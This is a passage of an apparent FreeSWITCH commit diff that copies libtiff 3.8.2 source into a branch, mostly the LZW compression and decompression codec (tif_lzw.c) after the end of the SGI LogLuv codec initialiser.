+TIFFInitSGILog(TIFF* tif, int scheme)
+{
+	static const char module[] = "TIFFInitSGILog";
+	LogLuvState* sp;
+
+	assert(scheme == COMPRESSION_SGILOG24 || scheme == COMPRESSION_SGILOG);
+
+	/*
+	 * Allocate state block so tag methods have storage to record values.
+	 */
+	tif->tif_data = (tidata_t) _TIFFmalloc(sizeof (LogLuvState));
+	if (tif->tif_data == NULL)
+		goto bad;
+	sp = (LogLuvState*) tif->tif_data;
+	_TIFFmemset((tdata_t)sp, 0, sizeof (*sp));
+	sp->user_datafmt = SGILOGDATAFMT_UNKNOWN;
+	sp->encode_meth = (scheme == COMPRESSION_SGILOG24) ?
+				SGILOGENCODE_RANDITHER : SGILOGENCODE_NODITHER;
+	sp->tfunc = _logLuvNop;
+
+	/*
+	 * Install codec methods.
+	 * NB: tif_decoderow & tif_encoderow are filled
+	 *     in at setup time.
+	 */
+	tif->tif_setupdecode = LogLuvSetupDecode;
+	tif->tif_decodestrip = LogLuvDecodeStrip;
+	tif->tif_decodetile = LogLuvDecodeTile;
+	tif->tif_setupencode = LogLuvSetupEncode;
+	tif->tif_encodestrip = LogLuvEncodeStrip;
+	tif->tif_encodetile = LogLuvEncodeTile;
+	tif->tif_close = LogLuvClose;
+	tif->tif_cleanup = LogLuvCleanup;
+
+	/* override SetField so we can handle our private pseudo-tag */
+	_TIFFMergeFieldInfo(tif, LogLuvFieldInfo,
+			    TIFFArrayCount(LogLuvFieldInfo));
+	sp->vgetparent = tif->tif_tagmethods.vgetfield;
+	tif->tif_tagmethods.vgetfield = LogLuvVGetField;   /* hook for codec tags */
+	sp->vsetparent = tif->tif_tagmethods.vsetfield;
+	tif->tif_tagmethods.vsetfield = LogLuvVSetField;   /* hook for codec tags */
+
+	return (1);
+bad:
+	TIFFErrorExt(tif->tif_clientdata, module,
+		     "%s: No space for LogLuv state block", tif->tif_name);
+	return (0);
+}
+#endif /* LOGLUV_SUPPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_lzw.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_lzw.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_lzw.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_lzw.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_lzw.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1084 @@
+/* $Id: tif_lzw.c,v 1.28 2006/03/16 12:38:24 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tiffiop.h"
+#ifdef LZW_SUPPORT
+/*
+ * TIFF Library.
+ * Rev 5.0 Lempel-Ziv & Welch Compression Support
+ *
+ * This code is derived from the compress program whose code is
+ * derived from software contributed to Berkeley by James A. Woods,
+ * derived from original work by Spencer Thomas and Joseph Orost.
+ *
+ * The original Berkeley copyright notice appears below in its entirety.
+ */
+#include "tif_predict.h"
+
+#include <stdio.h>
+
+/*
+ * NB: The 5.0 spec describes a different algorithm than Aldus
+ *     implements.  Specifically, Aldus does code length transitions
+ *     one code earlier than should be done (for real LZW).
+ *     Earlier versions of this library implemented the correct
+ *     LZW algorithm, but emitted codes in a bit order opposite
+ *     to the TIFF spec.  Thus, to maintain compatibility w/ Aldus
+ *     we interpret MSB-LSB ordered codes to be images written w/
+ *     old versions of this library, but otherwise adhere to the
+ *     Aldus "off by one" algorithm.
+ *
+ * Future revisions to the TIFF spec are expected to "clarify this issue".
+ */
+#define	LZW_COMPAT		/* include backwards compatibility code */
+/*
+ * Each strip of data is supposed to be terminated by a CODE_EOI.
+ * If the following #define is included, the decoder will also
+ * check for end-of-strip w/o seeing this code.  This makes the
+ * library more robust, but also slower.
+ */
+#define	LZW_CHECKEOS		/* include checks for strips w/o EOI code */
+
+#define MAXCODE(n)	((1L<<(n))-1)
+/*
+ * The TIFF spec specifies that encoded bit
+ * strings range from 9 to 12 bits.
+ */
+#define	BITS_MIN	9		/* start with 9 bits */
+#define	BITS_MAX	12		/* max of 12 bit strings */
+/* predefined codes */
+#define	CODE_CLEAR	256		/* code to clear string table */
+#define	CODE_EOI	257		/* end-of-information code */
+#define CODE_FIRST	258		/* first free code entry */
+#define	CODE_MAX	MAXCODE(BITS_MAX)
+#define	HSIZE		9001L		/* 91% occupancy */
+#define	HSHIFT		(13-8)
+#ifdef LZW_COMPAT
+/* NB: +1024 is for compatibility with old files */
+#define	CSIZE		(MAXCODE(BITS_MAX)+1024L)
+#else
+#define	CSIZE		(MAXCODE(BITS_MAX)+1L)
+#endif
+
+/*
+ * State block for each open TIFF file using LZW
+ * compression/decompression.  Note that the predictor
+ * state block must be first in this data structure.
+ */
+typedef	struct {
+	TIFFPredictorState predict;	/* predictor super class */
+
+	unsigned short	nbits;		/* # of bits/code */
+	unsigned short	maxcode;	/* maximum code for lzw_nbits */
+	unsigned short	free_ent;	/* next free entry in hash table */
+	long		nextdata;	/* next bits of i/o */
+	long		nextbits;	/* # of valid bits in lzw_nextdata */
+
+        int             rw_mode;        /* preserve rw_mode from init */
+} LZWBaseState;
+
+#define	lzw_nbits	base.nbits
+#define	lzw_maxcode	base.maxcode
+#define	lzw_free_ent	base.free_ent
+#define	lzw_nextdata	base.nextdata
+#define	lzw_nextbits	base.nextbits
+
+/*
+ * Encoding-specific state.
+ */
+typedef uint16 hcode_t;			/* codes fit in 16 bits */
+typedef struct {
+	long	hash;
+	hcode_t	code;
+} hash_t;
+
+/*
+ * Decoding-specific state.
+ */
+typedef struct code_ent {
+	struct code_ent *next;
+	unsigned short	length;		/* string len, including this token */
+	unsigned char	value;		/* data value */
+	unsigned char	firstchar;	/* first token of string */
+} code_t;
+
+typedef	int (*decodeFunc)(TIFF*, tidata_t, tsize_t, tsample_t);
+
+typedef struct {
+	LZWBaseState base;
+
+	/* Decoding specific data */
+	long	dec_nbitsmask;		/* lzw_nbits 1 bits, right adjusted */
+	long	dec_restart;		/* restart count */
+#ifdef LZW_CHECKEOS
+	long	dec_bitsleft;		/* available bits in raw data */
+#endif
+	decodeFunc dec_decode;		/* regular or backwards compatible */
+	code_t*	dec_codep;		/* current recognized code */
+	code_t*	dec_oldcodep;		/* previously recognized code */
+	code_t*	dec_free_entp;		/* next free entry */
+	code_t*	dec_maxcodep;		/* max available entry */
+	code_t*	dec_codetab;		/* kept separate for small machines */
+
+	/* Encoding specific data */
+	int	enc_oldcode;		/* last code encountered */
+	long	enc_checkpoint;		/* point at which to clear table */
+#define CHECK_GAP	10000		/* enc_ratio check interval */
+	long	enc_ratio;		/* current compression ratio */
+	long	enc_incount;		/* (input) data bytes encoded */
+	long	enc_outcount;		/* encoded (output) bytes */
+	tidata_t enc_rawlimit;		/* bound on tif_rawdata buffer */
+	hash_t*	enc_hashtab;		/* kept separate for small machines */
+} LZWCodecState;
+
+#define	LZWState(tif)		((LZWBaseState*) (tif)->tif_data)
+#define	DecoderState(tif)	((LZWCodecState*) LZWState(tif))
+#define	EncoderState(tif)	((LZWCodecState*) LZWState(tif))
+
+static	int LZWDecode(TIFF*, tidata_t, tsize_t, tsample_t);
+#ifdef LZW_COMPAT
+static	int LZWDecodeCompat(TIFF*, tidata_t, tsize_t, tsample_t);
+#endif
+static  void cl_hash(LZWCodecState*);
+
+/*
+ * LZW Decoder.
+ */
+
+#ifdef LZW_CHECKEOS
+/*
+ * This check shouldn't be necessary because each
+ * strip is suppose to be terminated with CODE_EOI.
+ */
+#define	NextCode(_tif, _sp, _bp, _code, _get) {				\
+	if ((_sp)->dec_bitsleft < nbits) {				\
+		TIFFWarningExt(_tif->tif_clientdata, _tif->tif_name,				\
+		    "LZWDecode: Strip %d not terminated with EOI code", \
+		    _tif->tif_curstrip);				\
+		_code = CODE_EOI;					\
+	} else {							\
+		_get(_sp,_bp,_code);					\
+		(_sp)->dec_bitsleft -= nbits;				\
+	}								\
+}
+#else
+#define	NextCode(tif, sp, bp, code, get) get(sp, bp, code)
+#endif
+
+static int
+LZWSetupDecode(TIFF* tif)
+{
+	LZWCodecState* sp = DecoderState(tif);
+	static const char module[] = " LZWSetupDecode";
+	int code;
+
+        if( sp == NULL )
+        {
+            /*
+             * Allocate state block so tag methods have storage to record 
+			 * values.
+             */
+            tif->tif_data = (tidata_t) _TIFFmalloc(sizeof(LZWCodecState));
+            if (tif->tif_data == NULL)
+            {
+				TIFFErrorExt(tif->tif_clientdata, "LZWPreDecode", "No space for LZW state block");
+                return (0);
+            }
+
+            DecoderState(tif)->dec_codetab = NULL;
+            DecoderState(tif)->dec_decode = NULL;
+            
+            /*
+             * Setup predictor setup.
+             */
+            (void) TIFFPredictorInit(tif);
+
+            sp = DecoderState(tif);
+        }
+            
+	assert(sp != NULL);
+
+	if (sp->dec_codetab == NULL) {
+		sp->dec_codetab = (code_t*)_TIFFmalloc(CSIZE*sizeof (code_t));
+		if (sp->dec_codetab == NULL) {
+			TIFFErrorExt(tif->tif_clientdata, module, "No space for LZW code table");
+			return (0);
+		}
+		/*
+		 * Pre-load the table.
+		 */
+                code = 255;
+                do {
+                    sp->dec_codetab[code].value = code;
+                    sp->dec_codetab[code].firstchar = code;
+                    sp->dec_codetab[code].length = 1;
+                    sp->dec_codetab[code].next = NULL;
+                } while (code--);
+	}
+	return (1);
+}
+
+/*
+ * Setup state for decoding a strip.
+ */
+static int
+LZWPreDecode(TIFF* tif, tsample_t s)
+{
+	LZWCodecState *sp = DecoderState(tif);
+
+	(void) s;
+	assert(sp != NULL);
+	/*
+	 * Check for old bit-reversed codes.
+	 */
+	if (tif->tif_rawdata[0] == 0 && (tif->tif_rawdata[1] & 0x1)) {
+#ifdef LZW_COMPAT
+		if (!sp->dec_decode) {
+			TIFFWarningExt(tif->tif_clientdata, tif->tif_name,
+			    "Old-style LZW codes, convert file");
+			/*
+			 * Override default decoding methods with
+			 * ones that deal with the old coding.
+			 * Otherwise the predictor versions set
+			 * above will call the compatibility routines
+			 * through the dec_decode method.
+			 */
+			tif->tif_decoderow = LZWDecodeCompat;
+			tif->tif_decodestrip = LZWDecodeCompat;
+			tif->tif_decodetile = LZWDecodeCompat;
+			/*
+			 * If doing horizontal differencing, must
+			 * re-setup the predictor logic since we
+			 * switched the basic decoder methods...
+			 */
+			(*tif->tif_setupdecode)(tif);
+			sp->dec_decode = LZWDecodeCompat;
+		}
+		sp->lzw_maxcode = MAXCODE(BITS_MIN);
+#else /* !LZW_COMPAT */
+		if (!sp->dec_decode) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "Old-style LZW codes not supported");
+			sp->dec_decode = LZWDecode;
+		}
+		return (0);
+#endif/* !LZW_COMPAT */
+	} else {
+		sp->lzw_maxcode = MAXCODE(BITS_MIN)-1;
+		sp->dec_decode = LZWDecode;
+	}
+	sp->lzw_nbits = BITS_MIN;
+	sp->lzw_nextbits = 0;
+	sp->lzw_nextdata = 0;
+
+	sp->dec_restart = 0;
+	sp->dec_nbitsmask = MAXCODE(BITS_MIN);
+#ifdef LZW_CHECKEOS
+	sp->dec_bitsleft = tif->tif_rawcc << 3;
+#endif
+	sp->dec_free_entp = sp->dec_codetab + CODE_FIRST;
+	/*
+	 * Zero entries that are not yet filled in.  We do
+	 * this to guard against bogus input data that causes
+	 * us to index into undefined entries.  If you can
+	 * come up with a way to safely bounds-check input codes
+	 * while decoding then you can remove this operation.
+	 */
+	_TIFFmemset(sp->dec_free_entp, 0, (CSIZE-CODE_FIRST)*sizeof (code_t));
+	sp->dec_oldcodep = &sp->dec_codetab[-1];
+	sp->dec_maxcodep = &sp->dec_codetab[sp->dec_nbitsmask-1];
+	return (1);
+}
+
+/*
+ * Decode a "hunk of data".
+ */
+#define	GetNextCode(sp, bp, code) {				\
+	nextdata = (nextdata<<8) | *(bp)++;			\
+	nextbits += 8;						\
+	if (nextbits < nbits) {					\
+		nextdata = (nextdata<<8) | *(bp)++;		\
+		nextbits += 8;					\
+	}							\
+	code = (hcode_t)((nextdata >> (nextbits-nbits)) & nbitsmask);	\
+	nextbits -= nbits;					\
+}
+
+static void
+codeLoop(TIFF* tif)
+{
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+	    "LZWDecode: Bogus encoding, loop in the code table; scanline %d",
+	    tif->tif_row);
+}
+
+static int
+LZWDecode(TIFF* tif, tidata_t op0, tsize_t occ0, tsample_t s)
+{
+	LZWCodecState *sp = DecoderState(tif);
+	char *op = (char*) op0;
+	long occ = (long) occ0;
+	char *tp;
+	unsigned char *bp;
+	hcode_t code;
+	int len;
+	long nbits, nextbits, nextdata, nbitsmask;
+	code_t *codep, *free_entp, *maxcodep, *oldcodep;
+
+	(void) s;
+	assert(sp != NULL);
+	/*
+	 * Restart interrupted output operation.
+	 */
+	if (sp->dec_restart) {
+		long residue;
+
+		codep = sp->dec_codep;
+		residue = codep->length - sp->dec_restart;
+		if (residue > occ) {
+			/*
+			 * Residue from previous decode is sufficient
+			 * to satisfy decode request.  Skip to the
+			 * start of the decoded string, place decoded
+			 * values in the output buffer, and return.
+			 */
+			sp->dec_restart += occ;
+			do {
+				codep = codep->next;
+			} while (--residue > occ && codep);
+			if (codep) {
+				tp = op + occ;
+				do {
+					*--tp = codep->value;
+					codep = codep->next;
+				} while (--occ && codep);
+			}
+			return (1);
+		}
+		/*
+		 * Residue satisfies only part of the decode request.
+		 */
+		op += residue, occ -= residue;
+		tp = op;
+		do {
+			int t;
+			--tp;
+			t = codep->value;
+			codep = codep->next;
+			*tp = t;
+		} while (--residue && codep);
+		sp->dec_restart = 0;
+	}
+
+	bp = (unsigned char *)tif->tif_rawcp;
+	nbits = sp->lzw_nbits;
+	nextdata = sp->lzw_nextdata;
+	nextbits = sp->lzw_nextbits;
+	nbitsmask = sp->dec_nbitsmask;
+	oldcodep = sp->dec_oldcodep;
+	free_entp = sp->dec_free_entp;
+	maxcodep = sp->dec_maxcodep;
+
+	while (occ > 0) {
+		NextCode(tif, sp, bp, code, GetNextCode);
+		if (code == CODE_EOI)
+			break;
+		if (code == CODE_CLEAR) {
+			free_entp = sp->dec_codetab + CODE_FIRST;
+			nbits = BITS_MIN;
+			nbitsmask = MAXCODE(BITS_MIN);
+			maxcodep = sp->dec_codetab + nbitsmask-1;
+			NextCode(tif, sp, bp, code, GetNextCode);
+			if (code == CODE_EOI)
+				break;
+			*op++ = (char)code, occ--;
+			oldcodep = sp->dec_codetab + code;
+			continue;
+		}
+		codep = sp->dec_codetab + code;
+
+		/*
+	 	 * Add the new entry to the code table.
+	 	 */
+		if (free_entp < &sp->dec_codetab[0] ||
+			free_entp >= &sp->dec_codetab[CSIZE]) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			"LZWDecode: Corrupted LZW table at scanline %d",
+			tif->tif_row);
+			return (0);
+		}
+
+		free_entp->next = oldcodep;
+		if (free_entp->next < &sp->dec_codetab[0] ||
+			free_entp->next >= &sp->dec_codetab[CSIZE]) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			"LZWDecode: Corrupted LZW table at scanline %d",
+			tif->tif_row);
+			return (0);
+		}
+		free_entp->firstchar = free_entp->next->firstchar;
+		free_entp->length = free_entp->next->length+1;
+		free_entp->value = (codep < free_entp) ?
+		    codep->firstchar : free_entp->firstchar;
+		if (++free_entp > maxcodep) {
+			if (++nbits > BITS_MAX)		/* should not happen */
+				nbits = BITS_MAX;
+			nbitsmask = MAXCODE(nbits);
+			maxcodep = sp->dec_codetab + nbitsmask-1;
+		}
+		oldcodep = codep;
+		if (code >= 256) {
+			/*
+		 	 * Code maps to a string, copy string
+			 * value to output (written in reverse).
+		 	 */
+			if(codep->length == 0) {
+				TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+	    		    "LZWDecode: Wrong length of decoded string: "
+			    "data probably corrupted at scanline %d",
+			    tif->tif_row);	
+			    return (0);
+			}
+			if (codep->length > occ) {
+				/*
+				 * String is too long for decode buffer,
+				 * locate portion that will fit, copy to
+				 * the decode buffer, and setup restart
+				 * logic for the next decoding call.
+				 */
+				sp->dec_codep = codep;
+				do {
+					codep = codep->next;
+				} while (codep && codep->length > occ);
+				if (codep) {
+					sp->dec_restart = occ;
+					tp = op + occ;
+					do  {
+						*--tp = codep->value;
+						codep = codep->next;
+					}  while (--occ && codep);
+					if (codep)
+						codeLoop(tif);
+				}
+				break;
+			}
+			len = codep->length;
+			tp = op + len;
+			do {
+				int t;
+				--tp;
+				t = codep->value;
+				codep = codep->next;
+				*tp = t;
+			} while (codep && tp > op);
+			if (codep) {
+			    codeLoop(tif);
+			    break;
+			}
+			op += len, occ -= len;
+		} else
+			*op++ = (char)code, occ--;
+	}
+
+	tif->tif_rawcp = (tidata_t) bp;
+	sp->lzw_nbits = (unsigned short) nbits;
+	sp->lzw_nextdata = nextdata;
+	sp->lzw_nextbits = nextbits;
+	sp->dec_nbitsmask = nbitsmask;
+	sp->dec_oldcodep = oldcodep;
+	sp->dec_free_entp = free_entp;
+	sp->dec_maxcodep = maxcodep;
+
+	if (occ > 0) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		"LZWDecode: Not enough data at scanline %d (short %d bytes)",
+		    tif->tif_row, occ);
+		return (0);
+	}
+	return (1);
+}
+
+#ifdef LZW_COMPAT
+/*
+ * Decode a "hunk of data" for old images.
+ */
+#define	GetNextCodeCompat(sp, bp, code) {			\
+	nextdata |= (unsigned long) *(bp)++ << nextbits;	\
+	nextbits += 8;						\
+	if (nextbits < nbits) {					\
+		nextdata |= (unsigned long) *(bp)++ << nextbits;\
+		nextbits += 8;					\
+	}							\
+	code = (hcode_t)(nextdata & nbitsmask);			\
+	nextdata >>= nbits;					\
+	nextbits -= nbits;					\
+}
+
+static int
+LZWDecodeCompat(TIFF* tif, tidata_t op0, tsize_t occ0, tsample_t s)
+{
+	LZWCodecState *sp = DecoderState(tif);
+	char *op = (char*) op0;
+	long occ = (long) occ0;
+	char *tp;
+	unsigned char *bp;
+	int code, nbits;
+	long nextbits, nextdata, nbitsmask;
+	code_t *codep, *free_entp, *maxcodep, *oldcodep;
+
+	(void) s;
+	assert(sp != NULL);
+	/*
+	 * Restart interrupted output operation.
+	 */
+	if (sp->dec_restart) {
+		long residue;
+
+		codep = sp->dec_codep;
+		residue = codep->length - sp->dec_restart;
+		if (residue > occ) {
+			/*
+			 * Residue from previous decode is sufficient
+			 * to satisfy decode request.  Skip to the
+			 * start of the decoded string, place decoded
+			 * values in the output buffer, and return.
+			 */
+			sp->dec_restart += occ;
+			do {
+				codep = codep->next;
+			} while (--residue > occ);
+			tp = op + occ;
+			do {
+				*--tp = codep->value;
+				codep = codep->next;
+			} while (--occ);
+			return (1);
+		}
+		/*
+		 * Residue satisfies only part of the decode request.
+		 */
+		op += residue, occ -= residue;
+		tp = op;
+		do {
+			*--tp = codep->value;
+			codep = codep->next;
+		} while (--residue);
+		sp->dec_restart = 0;
+	}
+
+	bp = (unsigned char *)tif->tif_rawcp;
+	nbits = sp->lzw_nbits;
+	nextdata = sp->lzw_nextdata;
+	nextbits = sp->lzw_nextbits;
+	nbitsmask = sp->dec_nbitsmask;
+	oldcodep = sp->dec_oldcodep;
+	free_entp = sp->dec_free_entp;
+	maxcodep = sp->dec_maxcodep;
+
+	while (occ > 0) {
+		NextCode(tif, sp, bp, code, GetNextCodeCompat);
+		if (code == CODE_EOI)
+			break;
+		if (code == CODE_CLEAR) {
+			free_entp = sp->dec_codetab + CODE_FIRST;
+			nbits = BITS_MIN;
+			nbitsmask = MAXCODE(BITS_MIN);
+			maxcodep = sp->dec_codetab + nbitsmask;
+			NextCode(tif, sp, bp, code, GetNextCodeCompat);
+			if (code == CODE_EOI)
+				break;
+			*op++ = code, occ--;
+			oldcodep = sp->dec_codetab + code;
+			continue;
+		}
+		codep = sp->dec_codetab + code;
+
+		/*
+	 	 * Add the new entry to the code table.
+	 	 */
+		if (free_entp < &sp->dec_codetab[0] ||
+			free_entp >= &sp->dec_codetab[CSIZE]) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			"LZWDecodeCompat: Corrupted LZW table at scanline %d",
+			tif->tif_row);
+			return (0);
+		}
+
+		free_entp->next = oldcodep;
+		if (free_entp->next < &sp->dec_codetab[0] ||
+			free_entp->next >= &sp->dec_codetab[CSIZE]) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			"LZWDecodeCompat: Corrupted LZW table at scanline %d",
+			tif->tif_row);
+			return (0);
+		}
+		free_entp->firstchar = free_entp->next->firstchar;
+		free_entp->length = free_entp->next->length+1;
+		free_entp->value = (codep < free_entp) ?
+		    codep->firstchar : free_entp->firstchar;
+		if (++free_entp > maxcodep) {
+			if (++nbits > BITS_MAX)		/* should not happen */
+				nbits = BITS_MAX;
+			nbitsmask = MAXCODE(nbits);
+			maxcodep = sp->dec_codetab + nbitsmask;
+		}
+		oldcodep = codep;
+		if (code >= 256) {
+			/*
+		 	 * Code maps to a string, copy string
+			 * value to output (written in reverse).
+		 	 */
+			if(codep->length == 0) {
+				TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+	    		    "LZWDecodeCompat: Wrong length of decoded "
+			    "string: data probably corrupted at scanline %d",
+			    tif->tif_row);	
+			    return (0);
+			}
+			if (codep->length > occ) {
+				/*
+				 * String is too long for decode buffer,
+				 * locate portion that will fit, copy to
+				 * the decode buffer, and setup restart
+				 * logic for the next decoding call.
+				 */
+				sp->dec_codep = codep;
+				do {
+					codep = codep->next;
+				} while (codep->length > occ);
+				sp->dec_restart = occ;
+				tp = op + occ;
+				do  {
+					*--tp = codep->value;
+					codep = codep->next;
+				}  while (--occ);
+				break;
+			}
+			op += codep->length, occ -= codep->length;
+			tp = op;
+			do {
+				*--tp = codep->value;
+			} while( (codep = codep->next) != NULL);
+		} else
+			*op++ = code, occ--;
+	}
+
+	tif->tif_rawcp = (tidata_t) bp;
+	sp->lzw_nbits = nbits;
+	sp->lzw_nextdata = nextdata;
+	sp->lzw_nextbits = nextbits;
+	sp->dec_nbitsmask = nbitsmask;
+	sp->dec_oldcodep = oldcodep;
+	sp->dec_free_entp = free_entp;
+	sp->dec_maxcodep = maxcodep;
+
+	if (occ > 0) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+	    "LZWDecodeCompat: Not enough data at scanline %d (short %d bytes)",
+		    tif->tif_row, occ);
+		return (0);
+	}
+	return (1);
+}
+#endif /* LZW_COMPAT */
+
+/*
+ * LZW Encoding.
+ */
+
+static int
+LZWSetupEncode(TIFF* tif)
+{
+	LZWCodecState* sp = EncoderState(tif);
+	static const char module[] = "LZWSetupEncode";
+
+	assert(sp != NULL);
+	sp->enc_hashtab = (hash_t*) _TIFFmalloc(HSIZE*sizeof (hash_t));
+	if (sp->enc_hashtab == NULL) {
+		TIFFErrorExt(tif->tif_clientdata, module, "No space for LZW hash table");
+		return (0);
+	}
+	return (1);
+}
+
+/*
+ * Reset encoding state at the start of a strip.
+ */
+static int
+LZWPreEncode(TIFF* tif, tsample_t s)
+{
+	LZWCodecState *sp = EncoderState(tif);
+
+	(void) s;
+	assert(sp != NULL);
+	sp->lzw_nbits = BITS_MIN;
+	sp->lzw_maxcode = MAXCODE(BITS_MIN);
+	sp->lzw_free_ent = CODE_FIRST;
+	sp->lzw_nextbits = 0;
+	sp->lzw_nextdata = 0;
+	sp->enc_checkpoint = CHECK_GAP;
+	sp->enc_ratio = 0;
+	sp->enc_incount = 0;
+	sp->enc_outcount = 0;
+	/*
+	 * The 4 here insures there is space for 2 max-sized
+	 * codes in LZWEncode and LZWPostDecode.
+	 */
+	sp->enc_rawlimit = tif->tif_rawdata + tif->tif_rawdatasize-1 - 4;
+	cl_hash(sp);		/* clear hash table */
+	sp->enc_oldcode = (hcode_t) -1;	/* generates CODE_CLEAR in LZWEncode */
+	return (1);
+}
+
+#define	CALCRATIO(sp, rat) {					\
+	if (incount > 0x007fffff) { /* NB: shift will overflow */\
+		rat = outcount >> 8;				\
+		rat = (rat == 0 ? 0x7fffffff : incount/rat);	\
+	} else							\
+		rat = (incount<<8) / outcount;			\
+}
+#define	PutNextCode(op, c) {					\
+	nextdata = (nextdata << nbits) | c;			\
+	nextbits += nbits;					\
+	*op++ = (unsigned char)(nextdata >> (nextbits-8));		\
+	nextbits -= 8;						\
+	if (nextbits >= 8) {					\
+		*op++ = (unsigned char)(nextdata >> (nextbits-8));	\
+		nextbits -= 8;					\
+	}							\
+	outcount += nbits;					\
+}
+
+/*
+ * Encode a chunk of pixels.
+ *
+ * Uses an open addressing double hashing (no chaining) on the 
+ * prefix code/next character combination.  We do a variant of
+ * Knuth's algorithm D (vol. 3, sec. 6.4) along with G. Knott's
+ * relatively-prime secondary probe.  Here, the modular division
+ * first probe is gives way to a faster exclusive-or manipulation. 
+ * Also do block compression with an adaptive reset, whereby the
+ * code table is cleared when the compression ratio decreases,
+ * but after the table fills.  The variable-length output codes
+ * are re-sized at this point, and a CODE_CLEAR is generated
+ * for the decoder. 
+ */
+static int
+LZWEncode(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	register LZWCodecState *sp = EncoderState(tif);
+	register long fcode;
+	register hash_t *hp;
+	register int h, c;
+	hcode_t ent;
+	long disp;
+	long incount, outcount, checkpoint;
+	long nextdata, nextbits;
+	int free_ent, maxcode, nbits;
+	tidata_t op, limit;
+
+	(void) s;
+	if (sp == NULL)
+		return (0);
+	/*
+	 * Load local state.
+	 */
+	incount = sp->enc_incount;
+	outcount = sp->enc_outcount;
+	checkpoint = sp->enc_checkpoint;
+	nextdata = sp->lzw_nextdata;
+	nextbits = sp->lzw_nextbits;
+	free_ent = sp->lzw_free_ent;
+	maxcode = sp->lzw_maxcode;
+	nbits = sp->lzw_nbits;
+	op = tif->tif_rawcp;
+	limit = sp->enc_rawlimit;
+	ent = sp->enc_oldcode;
+
+	if (ent == (hcode_t) -1 && cc > 0) {
+		/*
+		 * NB: This is safe because it can only happen
+		 *     at the start of a strip where we know there
+		 *     is space in the data buffer.
+		 */
+		PutNextCode(op, CODE_CLEAR);
+		ent = *bp++; cc--; incount++;
+	}
+	while (cc > 0) {
+		c = *bp++; cc--; incount++;
+		fcode = ((long)c << BITS_MAX) + ent;
+		h = (c << HSHIFT) ^ ent;	/* xor hashing */
+#ifdef _WINDOWS
+		/*
+		 * Check hash index for an overflow.
+		 */
+		if (h >= HSIZE)
+			h -= HSIZE;
+#endif
+		hp = &sp->enc_hashtab[h];
+		if (hp->hash == fcode) {
+			ent = hp->code;
+			continue;
+		}
+		if (hp->hash >= 0) {
+			/*
+			 * Primary hash failed, check secondary hash.
+			 */
+			disp = HSIZE - h;
+			if (h == 0)
+				disp = 1;
+			do {
+				/*
+				 * Avoid pointer arithmetic 'cuz of
+				 * wraparound problems with segments.
+				 */
+				if ((h -= disp) < 0)
+					h += HSIZE;
+				hp = &sp->enc_hashtab[h];
+				if (hp->hash == fcode) {
+					ent = hp->code;
+					goto hit;
+				}
+			} while (hp->hash >= 0);
+		}
+		/*
+		 * New entry, emit code and add to table.
+		 */
+		/*
+		 * Verify there is space in the buffer for the code
+		 * and any potential Clear code that might be emitted
+		 * below.  The value of limit is setup so that there
+		 * are at least 4 bytes free--room for 2 codes.
+		 */
+		if (op > limit) {
+			tif->tif_rawcc = (tsize_t)(op - tif->tif_rawdata);
+			TIFFFlushData1(tif);
+			op = tif->tif_rawdata;
+		}
+		PutNextCode(op, ent);
+		ent = c;
+		hp->code = free_ent++;
+		hp->hash = fcode;
+		if (free_ent == CODE_MAX-1) {
+			/* table is full, emit clear code and reset */
+			cl_hash(sp);
+			sp->enc_ratio = 0;
+			incount = 0;
+			outcount = 0;
+			free_ent = CODE_FIRST;
+			PutNextCode(op, CODE_CLEAR);
+			nbits = BITS_MIN;
+			maxcode = MAXCODE(BITS_MIN);
+		} else {
+			/*
+			 * If the next entry is going to be too big for
+			 * the code size, then increase it, if possible.
+			 */
+			if (free_ent > maxcode) {
+				nbits++;
+				assert(nbits <= BITS_MAX);
+				maxcode = (int) MAXCODE(nbits);
+			} else if (incount >= checkpoint) {
+				long rat;
+				/*
+				 * Check compression ratio and, if things seem
+				 * to be slipping, clear the hash table and
+				 * reset state.  The compression ratio is a
+				 * 24+8-bit fractional number.
+				 */
+				checkpoint = incount+CHECK_GAP;
+				CALCRATIO(sp, rat);
